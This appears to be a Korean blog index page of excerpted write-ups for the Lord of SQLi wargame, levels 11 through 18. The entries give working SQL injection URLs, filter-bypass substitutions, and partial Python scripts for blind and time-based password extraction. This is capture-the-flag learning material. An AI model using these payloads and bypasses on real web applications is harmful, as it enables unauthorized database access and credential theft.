본문 바로가기

728x90
반응형

Hacking/LOS

(18)
[LOS] 18. nightmare 주석의 기능을 담당하는 문자(#, --)를 필터링하여 주석이 동작하지 않아 보이지만, ;%00 을 통해 주석이 가능하다. 제한 입력 글자는 6으로 7이상 길이의 문자를 입력받으면 No Hack ~_~이 뜨면서 풀리지 않는다. 문제를 풀면서 백준의 숏코딩, 골프코딩(?)이 떠올라서 나름 재밌게 풀었다. 주석 부분은 ;%00을 넣어주면 되지만 나머지 4글자로 풀 수 있는 방법은 mysql의 자동 형 변환 기능을 생각해보면서 풀어야 한다. 설명이 복잡해 질 것 같아 최대한 단순하게 말하면 문자열과 정수를 등호(=)로 비교할 시 mysql에서는 문자열을 정수 0으로 변형해 자동으로 타입이 같게 비교한다. char=int -> int(0)=int 이런식으로 그럼 다시 문제로 돌아와서 4글자로 가능한 방법은 ')으..
[LOS] 17. zombie_assassin 솔직히 보자마자 막막했던 문제였다. 하지만 차근차근 생각해보고 처음 본 strrev함수에 대해 알아보고 시도해보니 풀렸다. strrev 함수로 인하여 파라미터에 입력값을 주면 거꾸로 뒤집어져서 최종적으로 입력된다. ex) admin -> nimda 이를 활용해 id 파라미터에 "를 입력하여 '"\'의 형태로 만들어 맨뒤에 있는 싱글쿼터를 문자열 그대로로 받게 만든다. 위에서 설명을 빼먹었는데 갑자기 나온 역슬래시는 addslashes로 인하여 입력값 뒤에 \ 문자열이 추가되게 만드는 함수다. id='"\'의 형태로 인하여 pw 파라미터의 맨 앞 싱글쿼터는 자연스래 id의 맨 앞 싱글쿼터와 이어지며 구문이 형성된다. 마지막으로 or 1=1%23의 형태로 맨 뒤 싱글쿼터를 막아주고 참 값을 작성하여 id를 ..
[LOS] 16. succubus 전 문제에서 싱글쿼터 우회 기법들 검색을 하도 해서 그런지 이 문제를 보자마자 이건 id에 \ 값을 넣어 싱글쿼터를 문자열 그대로 처리되게 만든 후 우회하면 되겠다는 생각이 들었고 생각은 적중했다. 정답: https://los.rubiya.kr/chall/succubus_37568a99f12e6bd2f097e8038f74d768.php?id= \&pw=%20or%202=2%23 https://los.rubiya.kr/chall/succubus_37568a99f12e6bd2f097e8038f74d768.php?id= los.rubiya.kr
[LOS] 15. assassin 싱글쿼터가 필터링 되어 있다. 처음엔 이를 우회하는 방법은 중점으로 풀어보려했는데 도저히 방법이 안나와서 포기했고 굳이 '='을 사용하지 않고 like를 사용한데에 집중했다. 그래서 찾은 게 brute forcing으로 guest의 비밀번호를 찾았고 이를 이용해 admin 비밀번호를 찾았다. import requests url ='https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php?pw=' #url 주소 입력 def find_pw(): pw_len=10 string='' for pw_value in range(1,pw_len+1): for ascii in range(48,122): value ="90{}%".format(st..
[LOS] 14. giant from이랑 prob_gian가 붙어 있어서 쿼리문이 실행이 안됨 또 공백 필터링이 걸려있음 그걸 우회해야함 %0c(form feed)로 가능 정답 : https://los.rubiya.kr/chall/giant_18a08c3be1d1753de0cb157703f75a5e.php?shit=%0c https://los.rubiya.kr/chall/giant_18a08c3be1d1753de0cb157703f75a5e.php?shit=%0C los.rubiya.kr
[LOS] 13. bugbear 계속해서 time based 문제가 나온다 슬슬 다른 문제 풀고싶다. 이 문제 역시 no 파라미터 값에 필터링 걸려있는 게 많다. ' -> 여기서 필요없음 substr -> mid ascii -> hex (값) (여기서 ord 안됨 -> or 필터링 걸려있어서) =, like -> in ("값") or -> || and -> %26 공백 -> %0a 0x -> 안써도 됨 코드는 아래와 같음 import requests url ='https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php?no=' #url 주소 입력 def find_pw_len(): pw_len=0 while 1: pw_len=pw_len+1 value = '1%0a|..
[LOS] 12. darkknight time based로 풀어야하는 문제 근데 파라미터 no에 ', substr, ascii, = 을 못쓰게 필터링 걸려있다. ' -> 굳이 안써도 됨 substr -> mid asciil -> ord = -> like 상기의 bypass 문자열로 우회가 다 가능함. import requests url ='https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php?pw=&no=' #url 주소 입력 def find_pw_len(): pw_len=0 while 1: pw_len=pw_len+1 value = '1 or id like "admin" %26%26 if(length(pw) like {}, sleep(3), 1)%23'.fo..
[LOS] 11. golem 여태 나온 time based sqli 문제들이랑 똑같은 유형이다 다만 '='을 필터링하여 사용하지 못하게 했는데, 이는 SQL 문법에서 like로 대신 가능하다. 또한 'substr(' 문자열도 필터링 걸어놨는데 이는 그냥 substring으로 우회 가능하다. import requests url ='https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php?pw=' #url 주소 입력 def find_pw_len(): pw_len=0 while 1: pw_len=pw_len+1 value = "' || id like 'admin' %26%26 if(length(pw) like {}, sleep(3), 1)%23".format(pw_le..

728x90
반응형